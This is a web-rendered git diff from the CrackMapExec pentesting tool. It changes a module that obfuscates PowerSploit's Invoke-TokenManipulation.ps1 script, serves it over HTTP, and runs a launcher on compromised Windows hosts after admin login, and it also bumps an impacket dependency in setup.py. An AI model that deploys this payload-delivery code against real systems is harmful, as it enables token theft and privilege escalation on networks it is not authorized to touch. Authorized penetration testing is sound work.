||||||
|
|
||||||
context.log.debug('Payload: {}'.format(payload))
|
return reate_ps_command(launcher)
|
||||||
payload = create_ps_command(payload)
|
|
||||||
connection.execute(payload)
|
|
||||||
context.log.success('Executed payload')
|
|
||||||
|
|
||||||
def on_request(self, context, request):
|
def payload(self, context, command):
|
||||||
|
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
||||||
|
return obfs_ps_script(ps_script.read())
|
||||||
|
|
||||||
|
def on_admin_login(self, context, connection, launcher, payload):
|
||||||
|
connection.execute(launcher)
|
||||||
|
context.log.success('Executed launcher')
|
||||||
|
|
||||||
|
def on_request(self, context, request, launcher, payload):
|
||||||
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
|
||||||
request.send_response(200)
|
request.send_response(200)
|
||||||
request.end_headers()
|
request.end_headers()
|
||||||
|
|
||||||
with open(get_ps_script('PowerSploit/Exfiltration/Invoke-TokenManipulation.ps1'), 'r') as ps_script:
|
request.wfile.write(payload)
|
||||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
|
||||||
request.wfile.write(ps_script)
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
request.send_response(404)
|
request.send_response(404)
|
||||||
|
|
3
setup.py
3
setup.py
|
@ -3,6 +3,7 @@ from setuptools import setup, find_packages
|
||||||
setup(name='crackmapexec',
|
setup(name='crackmapexec',
|
||||||
version='3.1.5-dev',
|
version='3.1.5-dev',
|
||||||
description='A swiss army knife for pentesting Windows/Active Directory environments',
|
description='A swiss army knife for pentesting Windows/Active Directory environments',
|
||||||
|
dependency_links = ['https://github.com/CoreSecurity/impacket/tarball/master#egg=impacket-0.9.16dev'],
|
||||||
classifiers=[
|
classifiers=[
|
||||||
'License :: OSI Approved :: BSD License',
|
'License :: OSI Approved :: BSD License',
|
||||||
'Programming Language :: Python :: 2.7',
|
'Programming Language :: Python :: 2.7',
|
||||||
|
@ -16,7 +17,7 @@ setup(name='crackmapexec',
|
||||||
"cme", "cme.*"
|
"cme", "cme.*"
|
||||||
]),
|
]),
|
||||||
install_requires=[
|
install_requires=[
|
||||||
'impacket>=0.9.15',
|
'impacket>=0.9.16dev',
|
||||||
'gevent',
|
'gevent',
|
||||||
'netaddr',
|
'netaddr',
|
||||||
'pyOpenSSL',
|
'pyOpenSSL',
|
||||||
|
|
Loading…
Reference in New Issue